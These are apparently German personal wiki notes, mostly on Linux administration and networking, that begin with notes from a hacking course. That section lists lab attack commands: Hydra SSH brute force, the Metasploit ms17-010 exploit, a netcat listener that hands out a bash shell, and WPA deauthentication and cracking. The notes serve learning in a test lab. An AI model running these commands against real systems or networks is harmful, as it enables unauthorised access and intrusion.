# Computer allgemein # Heise Hacking Kurs LinkedIn Learning

Testumgebung: **Windows-Rechner:** IP-Adresse: 10.1.1.129 MAC-Adresse: BA-F0-EC-81-03-92 **Kali-Linux:** IP-Adresse: 10.1.1.128 MAC-Adresse: FE-3A-E0-10-0E-35

[Serverschutz Bausteine von BSI](https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Standards-und-Zertifizierung/IT-Grundschutz/IT-Grundschutz-Kompendium/IT-Grundschutz-Bausteine/Bausteine_Download_Edition_node.html)

### Schichtenmodel TCP/IP [![image.png](https://books.hhml.selfhost.co/uploads/images/gallery/2023-01/scaled-1680-/image.png)](https://books.hhml.selfhost.co/uploads/images/gallery/2023-01/image.png) #### Infos ##### Generell 127.0.0.1 = localhost : Jedes Paket geht wieder zurück auf den sendenden Rechner ##### Wireshark ARP = Address Resolution Protocol dient dazu MAC adressen auszulesen #### Befehle:
**Befehl****Beispiel**
sipcalcsipcalc 192.168.178.0/24Stellt die Subnetzmaske mit den IP-Adressen dar
ls -la | grepls -la | grep goGibt dann nur Inhalte wieder, die go enthalten
find find .Gibt alles aus
find . | grepfind . | grep goFindet alles in Laufwerk und gibt aber nur inhalte mit go zurück
locate Suche über die gesamte Festplatte
pwdpwdPrint Working Directory - Aktuelles laufwerk anzeigen
whoamiwhoamiAktueller Benutzer
cdcdSpringt direkt ins homeverzeichnis
ps aux Zeigt Prozesse an
ps aux | grep apache2 Zeigt alles mit apache2 an
cat Zeigt dateiinhalt an
cat cat > hackingskills cat >> hackingskillsErstellt eine Datei direkt Benden mit Ctrl + d dadurch wird die Datei um weitere Zeilen erweitert
grepsudo cat /etc/config-datei | grep outputSucht nach dem String Output
nl zeigt den inhalt einer datei mit den Zeilennummern an. Kann auch mit grep verbunden werden
[sed](#bkmrk-sed%C2%A0)
[netstat](#bkmrk-netstat)
[ip](#bkmrk-%C2%A0-7)
digdig linkedin.com nsZeigt die Nameserver an
dig li
passwd Passwort ändern
#### Linux Hilfe
aircrack-ngaircrack-ng --help | moreZeigt die HIlfe an mit jeder seite Leertaste für nächste Seite q für Beenden
man aircrack-ng Zeigt das Manual an
#### Finden in Linux `locate` - `locate apache2.conf` zeit an wo dateien liegen. (Datenbank aktualisieren: `updatedb`) `whereis` - `whereis nmap` `which` - `which nmap` `find` - `find / -type f -name apache2` Zeigt f = Dateien an die im / Homeverzeichnis liegen. Mit sudo werden alle dateien gefunden. `find` - `find /etc -tpye -f -name apache2.*` *findet alles in etc mit dem Namen apache2* #### Berechtigungen `-rw-r--r-- 1 dapelza dapelza 0 31. Jan 10:19 test.txt` `Berechtigung User Gruppe Größe Datum Dateiname3 Bits Besitzer 3 Bits Gruppe 3 Bits alle anderen ` [![Screenshot 2023-07-03 131207.jpg](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-07/scaled-1680-/screenshot-2023-07-03-131207.jpg)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-07/screenshot-2023-07-03-131207.jpg)
**Bit****Berechtigung**
rRead
wWrite
x Execute (Ausführen)
**Berechtigung ändern**
chmod +x test.txt Alle dürfen ausführen
chmod -x test.txt Berechtiung nehmen
chmod u+x test.txt Nur der User darf die Datei ausführen
chmod g+x test.txt Gruppe darf ausführen
### Phasen des Hacking [![image.png](https://books.hhml.selfhost.co/uploads/images/gallery/2023-01/scaled-1680-/EIYimage.png)](https://books.hhml.selfhost.co/uploads/images/gallery/2023-01/EIYimage.png) ### Passives Scannen #### hunter.io Email-Adressen von Unternehmen herausfinden #### Burp Suite Zum Auslesen von Http Code über einen Proxy #### DefaultCreds-cheat-sheet [DefaultCreds-cheat-sheet/DefaultCreds-Cheat-Sheet.csv at main · ihebski/DefaultCreds-cheat-sheet · GitHub](https://github.com/ihebski/DefaultCreds-cheat-sheet/blob/main/DefaultCreds-Cheat-Sheet.csv) #### Webseiten überprüfen [builtwith.com](https://www.builtwith.com) ### Aktives Scannen #### Nmap
**Parameter****Kommentar**
nmap -sn 10.1.1.0/24 Pingt einen ip-Bereich und gibt die Teilnehmer wieder.
nmap 10.1.1.136 -vVorher schon ergebnisse Anzeigen
nmap 10.1.1.136 -oN /pfad/zur/dateispeichert die ergebnisse in einer Datei ab
nmap 10.1.1.136 -p40,21können bestimmte Ports gescannt werden
nmap 10.1.1.136 -sUScannt auch udp
nmap 10.1.1.136 -AFührt scripte aus
nmap -sn 10.1.1.0/24 -oG - | grep Up | awk '{print $2}' > targets.txtErstell mit hilfe von nmap eine Liste von allen Geräten die erreichbar sind. Mit -oG wird die Ausgabe in ein grepable Format gebracht.
**Offene Ports ermitteln**
nmap 10.1.1.10Portscan der 1000 meist verwendeten ports
nmap -sV 10.1.1.10- Portscan mit den dahinter verwendeten Software
nmap -sTU --top-ports 100 10.1.1.0/24Portscan über die 100 meistverwendesten Ports mit TCP und UDP
nmap -oG grepable.txt 10.1.1.0/24Ausgabe des Scans in eine grepable textdatei
grep "Host: 10.1.1.3" grepable.txtDurchsucht die Datei grepable.txt
nmap -oA bigausgabe 10.1.1.0/24 Ausgabe in den 3 gängisten Formaten
**Ausgabe schön formatieren**
nmap -oX ausgabe-in.xml 10.1.1.0/24erstellt eine XML Datei
xsltproc augabe-in.xml -o ausgabe-in.html Wandelt die xml in eine Html um
nmap -oA bigausgabe 10.1.1.0/24 && xsltproc bigausgabe.xml -o bigausgabe.html && firefox bigausgabe.htmlErstellt die Ausgaben, wandelt xml in html um und öffnet die datei mit dem Firefox
nmap -p- -A 10.1.1.3Detailscan über alle ports einer Maschine
**Schalter:** -O = Gibt das Betriebsystem mit -A = Gibt OS wieder und macht einen Script scan
#### Dirbuster Scannt nach unterverzeichnisen auf einer Domain #### Im internet nach Exploits suchen Beispiel: exploitdb Wordpress 4.9 #### searchsploit findet schwachstellen in einer Software #### smbmap findet schwachstellen in der SMB freigabe `smbmap -u '' -H 10.0.2.9` -u '' = User aber nicht angeben. #### Enum4Linux findet usernamen enum4linux 10.1.1.150 -U #### Hydra Brutforce auf ssh oder smb `hydra -l jan -P /usr/share/wordlist/rockyou.txt ssh://10.1.1.12 -t 4` #### Exploit-Datenbanken [www.exploit-db.com](https://www.exploit-db.com) [www.cvedetails.com](https://www.cvedetail.com) #### Exploits lokal suchen mit Searchsploit können Exploits lokal gesucht werden. Update von searchsploit: `searchsploit -u` `searchsploit dnsmasq` Um auf den Exploit im Internet zugreifen zu können folgenden Befehl verwenden `searchsploit -w dnsmasq` ### Exploits #### Metasploit framework `msfconsole` ---

**Bevor man mit msf los legt:**

**Postgressql dienst starten** **Automatisch mit dem System starten** `sudo systemctl enable postgresql` Dienst starten `sudo systemctl start postgresql` **Datenbank starten** `sudo msfdb init` --- ##### Metasploit verwenden [Module](https://github.com/rapid7/metasploit-framework/tree/master/modules) `search proftp` `use exploit/windwos/ftp/proftp_banner` `oder` `use 4` danach: `options` `set Rhosts` `show payloads` `show targets` #### Weitere Beispiele ##### Workspace anlegen `workspace` Zeigt den Workspace an `workspace -a demo` neuen Workspace anlegen `workspace -d demo` Workspace löschen ##### Befehle `hosts` Zeigt hosts an, die schon verwendet wurden `db_nmap 10.1.1.0/24 ` nmap direkt in Metasploit verwenden `db_import bigausgabe.xml` Importieren von bereits mit Nmap gefundenen informationen `services` Dabei werden alle bekannten Ports im Netzwerk angezeigt, die vorher gescannt wurden `setg rhosts` Setzt rhosts global. Dann muss man nicht jedes mal neu eingeben ##### Auxiliaries (Helfer) `use auxiliary/scanner/portscan/tcp` Damit wird das Modul ausgewählt `show option` Optionen anzeigen `set rhosts 10.1.1.146` Damit wird eine Option rhosts gesetzt `run` Starte den Scan `back` Verlassen der Auxiliary ##### Exploit suchen `search ms17-010` Damit kann man im MSF direkt nach Exploits suchen. nach was man suchen soll, dass kann einem ein Scan mit Nessus oder openVAS liefern ##### Exploit verwenden `use exploit/windows/smb/ms17` mit der Tabtaste kann man die verschiedenen auswählen `show options` `set RHOSTS 10.1.1.3` um den Host auszuwäheln `run` führt den Angriff aus #### DNSENUM ### Netcat **Opfer** `nc -lvp 4444` - Damit kann man generell auf eine Verbindung lauschen `nc -lvp 4444 -e /bin/bash` - Würde bei Verbindung eine Shell starten **Angreifer** `nc 10.1.1.138 4444` - Stellt eine Verbindung zum lauschenden Opfer auf dem Port 4444 her Pentest MOnkey reverse shell #### Nessus ### Tools #### SED

Suchen und ersetzen

Mit suchen und ersetzen kann man in einer Datei Wörter ersetzen. ```bash sudo sed s/mysql/MySQL/g /etc/irgendwas.conf > igendwasneu.conf # s = substizution: mysql wird durch MySQL ersetzt in der ganzen Datei (/g) ``` #### Netstat `netstat -r` Zeigt die Netzwerkkarte das Standardgateway an. #### IP ```bash ip a sh # sh = Show # Ip Adresse ändern ifconfig eth0 10.1.1.109 netmask 255.255.255.0 ``` #### Passwd ```bash passwd # zum ändern des Passwortes ``` ### Vorgehensweise Netzwerkuntersuchung Wenn ich ein Netzwerk untersuche ```bash ip a sh # In welchem Netz befinde ich mich route -n # Was ist das Standardgateway cat /etc/resolf.conf # Damit könnte es sein, dass der DNS-Server angezeigt wird. Außerdem wird die Domain angezeig ping fritz.box # wenn es eine Domaine gibt, dann wird der Domaincontroller eine Antwort geben dmitry # kann ports eines Rechner scannen ``` Wenn man einen Penetration-Test macht, wird immer alles dokumentiert. #### Arping Mit Arping kann man auf Layer2 pingen und erhält die MacAdresse zurück `arping fritz.box` #### Netdiscover

Sehr gutes Tool zum anzeigen der aktiven Geräte im Netzwerk

``` netdiscover -r 10.1.1.0/24 ``` #### Fping ``` fping -a -c 2 -g 10.1.1.1 10.1.1.254 # pingt eine gruppe an ``` #### Script zum pingen der Geräte im Netzwerk ```bash #!/bin/bash # For Schleife die alle Adressen druchpingt und die ip-adresse zurück gibt # cut teilt den String am " " Leerzeichen -f gibt das 4. Feld zurück for adress in $(seq 1 254); do ping -c 1 10.1.1.$adress | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 & done ``` ### WLAN Untersuchen #### Wlan überprüfen `iwconfig` #### Wlan in Monitoring versetzen `airmon-ng start wlan0` Verstetzt den Adapter in den Monitoring Modus `airodump-ng wlan0mon` Zeigt funknetzwerke an `airodump-ng wlan0mon -c 1 --bssid 'macadresse von wlan' -w wpastream` Aufzeichnen was wir machen **-c ist channel** --bssid ist die macadresse des wlan ohne Anführungsstriche. Mit -w legen wir den Speicherort der aufzeichnung fest. gleichzeitig: `aireplay-ng wlan0mon --deauth 3 -a 'bssid'` Da muss der handshake gemacht werden in der datei wpastram ist dann das passwort gespeichert `aircrack-ng -w /usr/share/wordlists/fasttrack.txt wpastream-01.cap` bruteforce auf den hash ### Schwachstellenanlayse #### Legion #### nikto zur untersuchung von Server #### openVAS #### Nessus # Datenablage Pelzers Persönliche Daten
BenutzerDaten Ablageort
HermannHomeNextcloud
DS
Backup Proxmox
Backup Nextcloud Borg > DS > pxx > ncBackup
DS Backup Weekly
DS Backup Notfall
FotosDS > Phots
Nextcloud
Backup Nextcloud Borg > DS > pxx > ncBackup
DS Backup Weekly
Helena DS Backup Notfall
FamilieFamilie PelzerNextcloud
DS
Backup Nextcloud Borg
DS Weekly
DS Backup Notfall
FamilieNextcloud
DS
Backup Nextcloud Borg
DS Weekly
DS Nofall
# Wireshark ## Filter ``` # Filter nach TCP Port 80 oder 443 tcp.port == 80 || tcp.port == 443 tcp.port eq 80 || tcp.port eq 443 ``` [![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-05/scaled-1680-/image.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-05/image.png) #### TCP und UDP Die wichtigsten Protokolle der Transportschicht #### TCP **3 Way Handshake** - Syn, Ack = Bau die TCP Verbindung auf - Fin, Ack = Baut beendet die TCP verbindung wieder FTP #### SMTP E-Mails verschicken TCP Stream in Ansicht anschauen dann ist die Verbindung schöner dargestellt Hintergrundrauschen im Netzwerk # Computersicherheit ## Schutz lokaler Daten ### Grundsätzliche Maßnahmen - Personal **Firewall** konfigurieren - **Antivieren**-Software mit Echtzeitschutz - System und Software auf dem **aktuellen Stand** halten - Sensible Daten **verschlüsseln** - Eigenen Account gut schützen (Passwort) - **Server abschließen** und vor Physischem Zugang schützen ### Spezielle Maßnahme gegen forensichen Analysen - Caches, Historien, Verläufe nach jeder Sitzung löschen - Einsatz von Tools wie CCleaner ### Schutz vor Keyloggern - Achtsamkeit - Physischer Zutrittsbeschränkung ## Sniffing Daten mitschneiden # Netzwerke # Computer-Netzwerke (Udemy) Mitschrift aus Udemy Kurs Computer-Netzwerke [Course: Computer-Netzwerke (CompTIA Network+) - der umfassende Kurs | Udemy](https://www.udemy.com/course/computer-netzwerke-network/learn/lecture/6616674#overview) ## Netzklassen
KlasseBereich
A1-127
B127-191
C192-223
### Subnetzmasken Beispiel für 4 Subnuetze
Bit87654321
Wert**128****64**32168421
Klasse C Netz: 192.168.125.0
**Dazugehörige Subnetzmaske**255.255.255.192
1. Subnetz: 1. Host192.168.125.1
1. Subnetz: Letzer Host192.168.125.62
Broadcast192.168.125.63
2. Subnetz: 192.168.125.64
1. Host192.168.125.65
Letzer Host192.168.125.126
Broadcast192.168.125.127
# Proxmox Netzwerk übersicht
# Netzwerk überprüfen ## Die Geschwindigkeit des Netzwerks überprüfen Ein gutes Tool: iperf3 # Netzwerk Karpfenweg 12 Netzwerkaufbau
# Fritz.Box ## Einstellung für öffentliche IPv4 Adresse mit LTE Router bei O2 Einstellungen > Internet > Zugangsdaten **Internetanbieter:** Anderer Internetanbieter **Zugangspunkt (APN) angeben:** Zugangspunkt: netpublic # CentOS Server Installieren ganz normal Nach der Installation: Hostnamen festlegen `hostnamectl set-hostname centos-server.linux.local` ## Netzwerkkonfiguration Es gibt skripte mit denen die Netzwerkkonfigurationen vorgenommen werden können. `/etc/sysconfig/network-scripts` Konfigdatei: ifcfg-eth0 (Kann unterschiedlich heißen) in der Datei steht unter ONBOOT = no dadurch wird der DHCP beim Boot nicht geladen. um die neuen Einstellungen zu aktivieren muss man den service neu starten. `service network restart` ### Statische IP-Adresse einstellen ifcfg-eth0 ``` BOOTPROTO=static IPADDR=172.16.1.25 NETMASK=255.255.255.0 GATEWAY=172.16.1.1 #DEFROUTE=yes (auskommentieren) #IPV6 (auskommentieren) ``` ### DNS Server Anlegen /etc/resolf.conf ``` nameserver 8.8.8.8 ``` ## Pfadparameter `which cat` gibt den Parameter zu dem Programm zurück. Damit kann man nachschauen, wo programme gespeichert werden. ### Umgebgungsvariablen `$PATH` ### Umgebungsvariable anpassen `export PATH=$PATH:~/bin` Setzt die Variable auf den bisherigen Inhalt plus `~/bin`

Diese Variable werden nur Temporär gespeichert

Damit auch überall die Umgebungsvariablen verwendet werden geht man folgendermaßen vor: Ein Terminal hat **Startup files** in der das abgespeichert werden kann. `.bashrc` muss umb den Befehl `export PATH=$PATH:~/bin` erweitert werden. Dann funktionert das überall. ## Paketmanager in CentOs wird **Yum** als Paketmanager verwendet ``` yum install htop # Paketquelle aktualisieren # Weiteres Reposotry yum install epel-release yum remove htop yum downgrade htop # Vorherige version yum search php # suchen yum install https://abc.npm # Damit kann man direkt von einer Website eine Datei installieren ``` ## Texteditoren ### Nano
**Tastenkombination****Beschreibung**
Strg + gHilfe
Strg + kAusschneiden
Strg + UEinfügen
Strg + WSuchen
ALT + aMarkieren
ALT + URückgängig
ALT + Y Highlighting ausschalten
**Nano Anpassen** /etc/nanorc (global) Für den jeweiligen Benutzer kann man im Homeverzeichnis eine datei erstellen und Einstellungen vornehmen: .nanorc - set regexp (Reguläre expressions beim suchen verwenden) - .\* um Wildcards zu verwenden **Syntax Highlighting** In CentOs muss das Highlighting durch Einkommentieren in der Datei: /etc/nanorc aktiviert werden ### Vim
**Tasten****Beschreibung**
iEinfügen (Bearbeiten)
AEinfügen am ende der Zeile
oNeue Zeile einfügen
OÜber dem Corser eine neue Zeile einfügen
ddlöscht eine ganze Zeile
3 ddlöscht 3 Zeilen auf einmal
uRückgängig machen
vVisual Mode: Markieren
dMarkierten bereich ausschneiden
p oder P zum einfügen
yKopieren
:set number Zeigt die Zeilennummer an
:set nonumberZeilennummern ausblenden
:set nocperweiterter Modus
**Erweiterte Funktionen**
:3Springt in die Zeile
GSpring in die Letze Zeile
0 (null)Springt zum ersten Zeichen einer Zeile
:xSpeichern und schließen
/gulu n N Suchen nach gulu zum nächsten suchergebnis zum vorherigen Suchergebnis
:set ignorecaseGroß und Kleinschreibung bei der Suche ignorieren
Die wichtigsten Grundeinstellungen vornehmen: `/home/benutzer/.vimrc` erstellen - set nocp - set number - set ignorecase Bessere vim version **sudo install vim-runtime** **sudo install vim-gnome** (Starten mit gvim) ## Shell-Umgebung Dateien die die Shell konfiigurieren: - /etc/profile - /etc/bash.bashrc oder /etc/bashrc ### Variable erstellen ``` GREETING="Hallo Welt" echo $GREETING # Globale Variable erstellen export GREETINGE="Hallo Welt" echo $GREETINGE # mit env kann man sich Umgebungsvariablen erstellen # Variable entfernen unset GREETINGE ``` ## Standardprogramme `update-alternatives --get-selections` (anzeigen) `sudo update-alternatives --config editor` (Editor bearbeiten) ## Benutzerverwaltung
**Befehl****Beschreibung**
sudo useradd asterixBenutzer hinzufügen (nicht ideal, kein Homelaufwerk)
sudo useradd -m -s /bin/bash -c "Kommentar" obelixBenutzer erstellen -m erstellt ein Homeverzeichnis -s legt die Standard Shell fest -c Erstellt einen Kommentar, im normalfall der Name
sudo passwd asterixErstellt ein Passwort für Asterix
sudo cp -r /etc/skel /home/asterixDas Standard-Homeverzeichnis befindet sich in /etc/skel mit dem befehl wird das Verzeichnis erstellt
sudo chown -R asterix:asterix /home/asterixDas Homelaufwerk dem Nutzer asterix zuordnen
sudo usermod -s /bin/bash -c "kommentar" asterix Um die restlichen Anpassungen vorzunehmen. Sie Erstellung obelix
**adduser falbala** user erstellen mit Optionen /etc/adduser.conf
**deluser --remove-all-files falbala**User löschen mit optionen
### Benutzerinformationen `/etc/passwd` Loginname:Passwort:User-ID:GruppenID:Kommentar:Home-verz.:Login-Shell **Passwort** wird abgespeichert in `/etc/shadow` Loginname:Hashwert(InklusiveSalt):LetztePasswortänderung:Min.anzahl.Passwortänderung:maxanzahl.passwortänderungen:Warnungpasswortablauf::: **Shadow besser ansehen** `chage -l asterix` Asterix anzeigen lassen ### Gruppen `/etc/login.defs` alle Gruppen sind zu finden in `/etc/group`
Befehl
groupszeigt an in welcher gruppe der Benutzer ist
groups hermann asterix
idZeigt den User an
grep hermann /etc/groupZeigt an in welchen Gruppen der User ist
groupadd projekt\_zaubertrankerstellt eine neue Gruppe
groupdell projekt\_zaubertranklöscht die Gruppe
groupadd -g 20000 projekt\_zaubertrankerstellt eine Gruppe mit der ID 20000
groupadd projekt\_hinkelsteinwenn schon gruppen ids angelegt sind, dann wird die id ab 20000 aufgezählt
usermod -G projekt\_zaubertrank asterixfügt asterix der Gruppe hinzu
usermod -g 10000 -G projekt\_zaubertrank idefixfügt idefix zu Gruppe praktikanten und Zaubertrank hinzu g gibt die Hauptgruppe an G gibt weitere Gruppen an
## Dateien und Verzeichnisse ### Befehle zum anzeigen von Verzeichnissen
`ls -a`Zeigt auch versteckte Dateien an
`ls -F`Zeigt an um welche Einträge es sich handelt / Verzeichnis \* Ausführbare Datei
`ls -t`Nach Änderung sortieren
`ls -r `Rückwärts sortieren
`ls -R`Gesamtes Verzeichnis anzeigen
`ls -d`Verzeichnisse anzeigen
`ls -ld /projekte`Zeigt einen Eintrag genau an
### Links
`ln liste.txt liste-hardlink.txt`Erstellt einen Link liste-hardlink.txt auf die Datei liste.txt
`ln -s /projekte/projekt_zaubertrank/zutaten/liste.txt liste-absolut`erstellt einen link liste-absolut auf die Datei liste (softlink)
### Archive
.tarTape-Archiver ist ein Unkomprimiertes Archiv
`bunzip2 firefox.tar.bz2` `bzip2 -d ` Datei Entpacken
`bzip2 firefox.tar`Datei Komprimieren
`gzip -d firefox.tar.gz`Datei entpacken
`tar -xf firefox.tar`Datei entpacken
`tar -cf datei1.pdf datei2.pdf`Dateien zu einem Archiv zusammenfügen (cf = create file)
`tar -czf firefox-gzip.tar.gz firefox` `tar -cjf firefox-gzip.tar.bz2 firefox` Pakt den Ordner firefox in ein Archiv und komprimiert mit gzip komprimierung mit bz2
`tar -xzf firefox-gzip.tar.gz` `tar -xjf firefox-zip.tar.bz2` Entpacken der jeweiligen Archive
### Zugriffsrechte
`groupadd`Gruppe hinzufügen
`/etc/group`Gruppen bearbeiten
`chown miraculix:zaubertrank projekt_zaubertrank`Verzeichniseigentümer ändern
`chmod u=rwx,g+w,o-rx /projekte/projekt_zaubertrank`Besitzer: Alle rechte Gruppe erhält zusätzlich schreibrechte Welt werden lese und Ausführungsrechte entzogen
`chmod o= /projekte/projekt_zaubertrank`Welt werden alle Rechte entzogen
r = 4 w = 2 x = 1 chmod 750 User alles / gruppe lesen und ausführen / alle nix chmod 644 user lesen und schreiben / gruppe alle lesen
chown -R um rekursiv zu ändern
### Finden
`ls "02 - Erste Schritte"/`Pfad anzeigen
`ls *`Zeigte alle unterodner und dateien im aktuellen Ordner an
`ls \*/\.\.txt`Zeigt alle dateien mit Fhem in allen unterordnern an.
`find . -name "*.js"`findet im aktuellen Pfad alles was im Namen ".js" enthält
`find . -size +1M`findet alle Dateien die größer als 1 Megabyte sind
`find . -size +1M -and -name "*skype*"`
`find . -name "*.JPG" -delete`findet alle Bilder und löscht sie (-iname wenn die groß und kleinschreibnung ignoriert werden soll)
`find . -maxdepth 1 -and -name "*.jpg" -or -name "*.cr3"`Dadurch wird nur der aktuelle Ordner durchsucht
`find . -iname "ubuntu*.iso" 2>/dev/null`
`locate "*fhem*"`Parameter: -i Groß und kleinschreibung
`sudo updatedb`Datenbank von locate updaten
`locate -i --regex "ubuntu(.*).ISO"`reguläre ausdrücke
`grep "money" *`suche nach money im Ordner \*
`grep -E -i 'Subject:(.*)money' *`Sucht nach allem was Subject: irgendewas Money beinhaltet
### Ersetzen mit dem Programm sed kann man inhalt in datein ersetzen
`sed 's/Welt/Linux/' hallo.txt`Ersetzt den Text Welt durch Linux s = ersetzen
`sed 's/Welt/Linux/g' hallo.txt`g = ersetzt alles (global)
mit dem Parameter -i wird die änderung **gespeichert**
`sed "3d" hallo.txt`Entfernt die 3. Zeile $d entfernt die letzte Zeile 2,3d entfernt Zeile 2 und 3 '/CentOS/d' entfernt Zeilen in denen CentOS vorkommt
`sed -n 's/Ubuntu/Kubuntu/p' hallo.text`zeigt nur die änderungen auf der Konsole an. p = Zeigt Änderungen an -n = Zeigt den ganzen text nicht an
### Reguläre audrücke
`sed -n 's/model/m/p' /proc/cpuinfo`ersetzt Model durch m in der cpuinfo datei
`sed -n -E 's/model(\s*):(\s)//p' /proc/cpuinfo`
`sed -n -E 's/model name(\s*):(.*)@(.*)/\2/p' /proc/cpuinfo`\\2 ersetzt den entfernten text mit der 2. Klammer
Ausdrücke generieren: [https://regexr.com](https://regexr.com) ## Bootloader bearbeiten Datei die zu bearbeiten ist: /etc/default/grub grub\_timeout = Startmenü anzeigen Änderungen übernehmen mti dem Befehl ``` grub-mkconfig -o /boot/grub/grub.cfg ```

CentOS

``` grub2-set-default 1 # setzt den Default wert auf 1 grub2-mkconfig -o /boot/grub2/grub.cfg ``` ## Partitionierung
/devGerätedateien
fdisk -l /dev/sdaFdisk erstellt partitionen in MBR
fdisk /dev/sdb p n p w (schreibt die Änderung auf die Platte) Neue Partition erstellen Speicherplatz festlegen: +2G erstellt eine 2 Gigabyte große
gdisk /dev/sdb o n mit Gdisk kann man GPT erstellen erstellen einer neuen GPT Partitionstabelle neue Partition anlegen
gdisk -l /dev/sdb zum überprüfen der Festplatte
### Dateisysteme
ext4Standard für Linux
btrfsStandard für Suse. Schnell aber fehleranfällig
xfsAlt, stabil
zfsLeistungsfähiges für Servern
ntfsMicrosoft
`blkid -o list`Zeigt die Festplatten mit id an
`lsblk `Übersicht über festplatten und partionen
##### Dateiformate erstellen
`parted -l /dev/sdb`Partitionen anschauen
`mkswap /dev/sdb6`Swap bereich erstellen (Auslagerungspartition)
`swapon /dev/sdb6`Swap aktivieren
`cat /proc/swaps`anzeigen welche partition als swap verwendet wird
`mkfs.ext4 /dev/sdb1`Formatieren in Ext4
`mkfs -t ext3 /dev/sdb2`Formatieren in ext3 (andere schreibweise)
`mkfs.xfs /dev/sdb4`bei xfs muss vorher mit `apt install xfsprogs `das programm dafür installiert werden
##### Partitionen überprüfen
fsck /dev/sdb1Prüfung der Partion. (Nur möglich, wenn nicht eingehängt)
fsk -f /dev/sdb1Gleichzeitige Reparatur bei Fehlern und detailiertere Ausgabe
##### Mounten
`mount -t xfs /dev/sdb5 /gulugulu`mountet laufwerk im -t (Type) xfs mit der Partition sdb5 im Ordner /gulugulu
`umount`Unmounten von Laufwerken
`mount /dev/sdb1 /gulugulu`Ext4 wird automatisch erkannt und muss nicht angegeben werden.
`/etc/fstab`**Automatische** Mountpunkte festlegen Typ: ext4, auto, swap Optionen: defaults, rw,auto,relatime (man mount)
`mount -a `Einstellung von fstab übernehmen
### Speicherplatz
`df `Diskfree
`df -h`Human readable
`du -h `Diskusage
`du -h /etc`Ordner anzeigen
`du -ha /etc`Alle Dateien anzeigen
`sudo du -h / | sort -h `Sortiert die Plattennutzung nach Größe
`sudo du -h / 2>&1 | sort -hr | head -n5`Die 5 größten Ordner anzeigen
**Festplattenanalyse als Admin starten** `sudo baobab` ## Logical Volume Manager (LVM)
`apt install lvm2`Unter Ubuntu installieren
`fdisk -l `Datenträger überprüfen
`pvcreate /dev/sdb1` `pvcreate /dev/sdb2` Physical Volume create
`pvs` übersicht
`vgcreate system /dev/dsb1 /dev/sdc1` Volume Group erstellen
`vgs` Volume Groups übersicht
`lvcreate -L3g -n home system` Logical Volume erstellen -L3g = Größe 3 GB -n = Name aus der Gruppe System
`lvs` Logical Volumes Übersicht
**Logical Volumes formatieren und mounten**
`mkfs.ext4 /dev/system/home` das Logical Volume in ext4 formatieren
`mount /dev/system/home /home` das Volumen mounten
**Erweitern**
`vgextend storage /dev/sdc3` dabei wird die Volume Group storage um eine weitere Partition erweitert
`umount /video` Vor dem einbinden muss das Volume unmounted werden
`lvresize -L 9g /dev/storrage/video` Die Größe wird auf 9 GB festgelegt. mit -L +4g kann das Volume um 4 GB erweitert werden. (besser nicht verwenden)
`resize2fs /dev/storage/video 9g` Dateisystem anpassen
`mount /dev/storage/video /video` Zum einhängen
## USB-Speichersticks
`lsusb`Alle angeschlossenen USB-Sticks anzeigen lassen
`usb-devices`Details anzeigen
`dmesg`gibt Kernel Informationen aus
## Netzwerk-Kommunikation

**Wireshark installieren** Vorher Gnome Desktop installieren mit `yum groupinstall GNOME-Desktop` GUI als Default einstellen: `systemctl set-default graphical.target` Wirehark als root starten aus dem Terminal: `wireshark &`

### VLSM und CIDR Variable Length Subnet Mask Classless Inter-Domain Routing ### ARP und MAC-Adressen

Wireshark-Mitschnitt: Capture Filter: host 192.168.1.15 and (arp or icmp) um ping oder ARP mitzuschneiden

`arp -d 192.168.1.15` löscht den Arp-Cache zu der Adresse `arp -a` Arp-Cache anzeigen `netstat -nr` Anzeige der Routing Tabelle ### TCP und UDP

**Aktive Ports anzeigen lassen** `sudo netstat -tlpn` zeigt alle Ports an

Alle Ports sind zu finden unter `nano /etc/services` ### IPv6
## Netzwerkeinstellungen ``` ip a # IP-Adressen anszeigen ip l # Interfaces ip r # Routingtabelle ip n # ARP-Einträge ss -t # Alle TCP verbindungen route -n # Routingtabelle in numerischer Darstellung sudo netstat -tulpn # Zeigt alle TCP/UDP verbindungen an # Viele infos zusammengefasst nmcli dev show ``` ### DNS Resolver Ist der Lokale DNS eintrag Bearbeitung unter `/etc/resolf.conf` ### IP-Konfiguration im Terminal
`/etc/network/interfaces`\# Einstellungen der Interfaces
`/etc/netplan`hier wird bestimmt wer die Konfiguration verwaltet renderer: ist das Gerät was das Netzwerk verwaltet
`nmcli`Konfiguration vor nehmen
`nmcli connection edit Kabelgebundene Verbindung 1`um das Interface Kabelgebundenen Verbindung 1 zu bearbeiten
`> help`hilfe
`> print`anzeigen
`> remove ipv4.addresses` `> set ipv4.addresses 192.168.1.111/24` ipv4 adresse festlegen
`> set ipv4.gateway 192.168.1.1` Gateway ändern
`> remove ipv4.dns` `> set ipv4.dns 8.8.8.8` DNS speidchern
`> save` Speichern
`> quit` Beenden
`nmcli connection down Kabelgebundene Verbindung 1` `nmcli connection up Kabelgebundene Verbindung 1` Initialisieren
**CentOS**
`cd /etc/libvirt/qemu/networks/autostart` wenn hier ein Link drin ist, dann ist das ein Interface was CentOS zu virtualisierungszwecken benötigt. Diese kann man löschen mit Beispielhaft: rm default.xml Nach einem Neustart sind die Verbindungen nicht mehr vorhanden
`cd /etc/sysconfig/network-scripts/` beinhaltet die Netzwerkkonfiguration
`nano ifcfg-enp0s3`
`nmcli connection modify enp0s3 ipv4.addresses 192.168.1.120/24 ipv4.gateway 192.168.1.200 ipv4.dns 8.8.8.8` Damit werden die Parameter gesetzt
`nmcli connection down enp0s3`
`nmcli connection up enp0s3`
`nmcli connection mod enp0s3 ipv4.method manual` um von Dynamisch auf Statisch umzuschalten
`nmcli dev` Anzeigen der Netzwerkverbindungen
### DNS Auflösung Eigentlich mit nslookup. Das ist aber abgekündigt. Der Nachfolder ist host
`host www.google.de` gibt das gleich wie nslookup wieder.
`host -t ns google.de` zeigt den zuständigen dns server an
host 8.8.8.8
**DIG**Umfangreicher lals host
dig www.google.de
dig @8.8.8.8 google.de ns
dig @192.168.1.254 8.8.8.8 Eigenen DNS SErver abfragen
